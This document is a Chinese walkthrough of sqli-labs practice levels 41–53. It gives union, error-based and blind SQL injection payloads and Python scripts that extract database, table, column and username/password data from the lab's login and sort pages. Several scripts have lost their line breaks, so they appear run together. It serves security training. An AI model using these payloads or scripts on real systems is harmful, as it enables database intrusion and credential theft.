sqli.labs靶场（41-53关）-编程知识

41、第四十一关

-1 union select 1,2,3--+

-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1 union select 1,2,(select group_concat(username,'~',password) from security.users)--+

42、第四十二关

这关login_password是单引号闭合，可用布尔盲注

123'+or+1=1--+

上脚本爆库：

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-42/login.php"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr(database(),{p},1)='{a}'#", "mysubmit": "Login"})if len(res.text) == 1580:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user" : "admin", "login_password": f"123' or substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password":  f"123' or substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:users = f"{users}{a}"print(a, end='')num = 0

43、第四十三关

这关是POST请求，login_password参数单引号加括号闭合

POC：111')--+，有报错信息，可以用报错注入

111')+and+extractvalue(1,concat(0x7e,database(),0x7e))--+

111')+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+

111')+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+

111')+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users),0x7e))--+

44、第四十四关

POST请求，login_password参数单引号闭合

可以用布尔盲注，POC：123'+or+lenth(database())=1--+

这个脚本注入比较方便

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-44/login.php"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr(database(),{p},1)='{a}'#", "mysubmit": "Login"})if len(res.text) == 1580:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user" : "admin", "login_password": f"123' or substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password":  f"123' or substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:users = f"{users}{a}"print(a, end='')num = 0

45、第四十五关

这关是login_password参数单引号加括号闭合

可以使用布尔盲注POC：123')+or+substr(database(),1,1)='a'--+

脚本爆库

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-45/login.php"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password": f"123') or substr(database(),{p},1)='{a}'#", "mysubmit": "Login"})if len(res.text) == 1580:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user" : "admin", "login_password": f"123') or substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password": f"123') or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:num += 1res = requests.post(url, {"login_user": "admin", "login_password":  f"123') or substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})if len(res.content) == 1580:users = f"{users}{a}"print(a, end='')num = 0

46、第四十六关

参数是sort

4+and+extractvalue(1,concat(0x7e,database()))

4+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))

4+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ))

47、第四十七关

sort=1

sort=2

sort=3

sort=4

应该是报错了，一共三个字段，不显示错误可以用时间盲注

48、第四十八关

和上一关差不多，这关单引号闭合

还是要时间盲注

脚本

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-48/?sort=1%20"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(1)"stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(1)"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:users = f"{users}{a}"print(a, end='')num = 0

49、第四十九关

和48关差不多，也是时间盲注，需要单引号闭合

上脚本

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-49/?sort=1%27%20"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(1)--+"stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(1)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:users = f"{users}{a}"print(a, end='')num = 0

50、第五十关

有报错信息，试一下报错注入

sort=10+and+extractvalue(1,concat(0x7e,database()))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users)))

51、第五十一关

有报错信息，还得报错注入，单引号闭合

sort=3'+and+extractvalue(1,concat(0x7e,database()))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users)))--+

52、第五十二关

没有报错信息，得用盲注，时间盲注

上脚本

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-52/?sort=1%20"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(1)--+"stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(1)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 13:users = f"{users}{a}"print(a, end='')num = 0

53、第五十三关

单引号闭合，没有报错，还得是盲注

上脚本

import string
from time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = True# 获取正确返回内容长度url = "http://sqli.labs/Less-53/?sort=22%27%20"list1 = numbers + letters2 + fuhao# 获取数据库名database = ""num = 0print(f"数据库:")for p in range(50):if num > len(list1) * 2:breakfor a in list1:num += 1url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(0.5)--+"stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 5:database = f"{database}{a}"print(a, end='')num = 0print("")# 获取所有表名num = 0tables = ""print(f"所有表名:")for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(0.5)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 5:tables = f"{tables}{a}"print(a, end='')num = 0print("")# 获取users表所有字段columns = ""print(f"users表所有字段名:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(0.5)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 5:columns = f"{columns}{a}"print(a, end='')num = 0print("")  # 换行# 获取所有账号users = ""print(f"所有用户密码:")num = 0for p in range(1000):if num > len(list1) * 2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(0.5)--+"num += 1stime = time()  # 记录开始时间res = requests.get(url_db)etime = time()  # 记录结束时间if etime - stime > 5:users = f"{users}{a}"print(a, end='')num = 0